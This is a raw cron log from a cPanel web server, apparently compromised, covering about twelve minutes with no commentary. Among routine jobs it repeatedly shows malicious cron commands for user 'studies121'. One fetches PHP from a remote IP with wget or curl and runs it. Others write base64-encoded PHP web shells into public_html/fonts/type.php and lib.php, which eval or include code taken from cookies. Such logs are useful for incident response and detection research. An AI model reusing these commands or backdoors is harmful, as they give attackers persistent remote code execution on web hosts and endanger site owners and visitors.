Sep  9 07:24:01 ip-184-168-122-23 CROND[4405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:24:01 ip-184-168-122-23 CROND[4407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:24:01 ip-184-168-122-23 CROND[4408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:25:01 ip-184-168-122-23 CROND[4538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:25:01 ip-184-168-122-23 CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:25:01 ip-184-168-122-23 CROND[4541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:25:01 ip-184-168-122-23 CROND[4542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:25:01 ip-184-168-122-23 CROND[4545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:25:01 ip-184-168-122-23 CROND[4546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:26:01 ip-184-168-122-23 CROND[4738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:26:01 ip-184-168-122-23 CROND[4740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:26:01 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:26:01 ip-184-168-122-23 CROND[4743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:26:01 ip-184-168-122-23 CROND[4744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:27:01 ip-184-168-122-23 CROND[4896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:27:01 ip-184-168-122-23 CROND[4897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:27:01 ip-184-168-122-23 CROND[4899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:27:01 ip-184-168-122-23 CROND[4898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:28:01 ip-184-168-122-23 CROND[5044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:28:01 ip-184-168-122-23 CROND[5047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:28:01 ip-184-168-122-23 CROND[5046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:28:01 ip-184-168-122-23 CROND[5045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:28:01 ip-184-168-122-23 CROND[5049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:29:01 ip-184-168-122-23 CROND[5138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:29:01 ip-184-168-122-23 CROND[5139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:29:01 ip-184-168-122-23 CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:29:01 ip-184-168-122-23 CROND[5144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5255]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:30:01 ip-184-168-122-23 CROND[5254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:30:01 ip-184-168-122-23 CROND[5253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:31:01 ip-184-168-122-23 CROND[5485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:31:01 ip-184-168-122-23 CROND[5487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:31:01 ip-184-168-122-23 CROND[5486]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:31:01 ip-184-168-122-23 CROND[5488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:31:01 ip-184-168-122-23 CROND[5489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:32:01 ip-184-168-122-23 CROND[5588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:32:01 ip-184-168-122-23 CROND[5587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:32:01 ip-184-168-122-23 CROND[5592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:32:01 ip-184-168-122-23 CROND[5595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:32:02 ip-184-168-122-23 CROND[5597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:33:01 ip-184-168-122-23 CROND[5698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:33:01 ip-184-168-122-23 CROND[5701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:33:01 ip-184-168-122-23 CROND[5700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:33:01 ip-184-168-122-23 CROND[5702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:34:01 ip-184-168-122-23 CROND[5821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:34:01 ip-184-168-122-23 CROND[5822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:34:01 ip-184-168-122-23 CROND[5826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:34:01 ip-184-168-122-23 CROND[5825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:34:01 ip-184-168-122-23 CROND[5828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:35:01 ip-184-168-122-23 CROND[5981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5984]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5988]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:35:01 ip-184-168-122-23 CROND[5992]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:36:01 ip-184-168-122-23 CROND[6120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
